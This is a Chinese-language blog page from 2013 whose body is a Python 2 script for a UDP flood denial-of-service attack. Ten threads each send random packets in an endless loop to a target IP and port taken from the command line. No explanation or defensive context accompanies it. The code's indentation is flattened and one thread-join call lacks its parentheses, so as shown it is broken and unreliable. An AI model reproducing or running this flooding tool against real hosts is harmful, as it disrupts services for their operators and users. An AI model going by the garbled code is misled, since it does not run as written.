Chinaunix首页 | 论坛 | 博客
  • 博客访问: 345623
  • 博文数量: 306
  • 博客积分: 3975
  • 博客等级: 中校
  • 技术积分: 3265
  • 用 户 组: 普通用户
  • 注册时间: 2007-11-27 13:14
文章分类

全部博文(306)

文章存档

2017年(1)

2016年(3)

2015年(11)

2014年(15)

2013年(178)

2012年(41)

2011年(38)

2010年(9)

2009年(9)

2008年(1)

分类: LINUX

2013-09-04 17:57:28

#!/bin/env python
#-*- coding:utf-8 -*-

import socket
import threading
import random
import sys

class attack(threading.Thread):
    def __init__(self, ip, port, psize):
    threading.Thread.__init__(self)
    #super(attack, self).__init__()
    self.ip = ip
    self.port = port
    self.psize = psize

    def run(self):
    print "Thread initiated, flooding" + self.ip + ":" + str(self.port) + "."
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    bytes = random._urandom(self.psize)
    while True:
        sock.sendto(bytes, (self.ip, self.port))


if __name__ == "__main__":
    THD = 10
    ths = []
    ip = sys.argv[1]
    port = int(sys.argv[2])
    psize = int(sys.argv[3])
    for i in range(THD):
    ths.append(attack(ip, port, psize))
    ths[-1].start()

    for i in ths:
    i.join
阅读(2856) | 评论(0) | 转发(0) |
0

上一篇:sync 攻击

下一篇:AES算法的加密和解密

给主人留下些什么吧!~~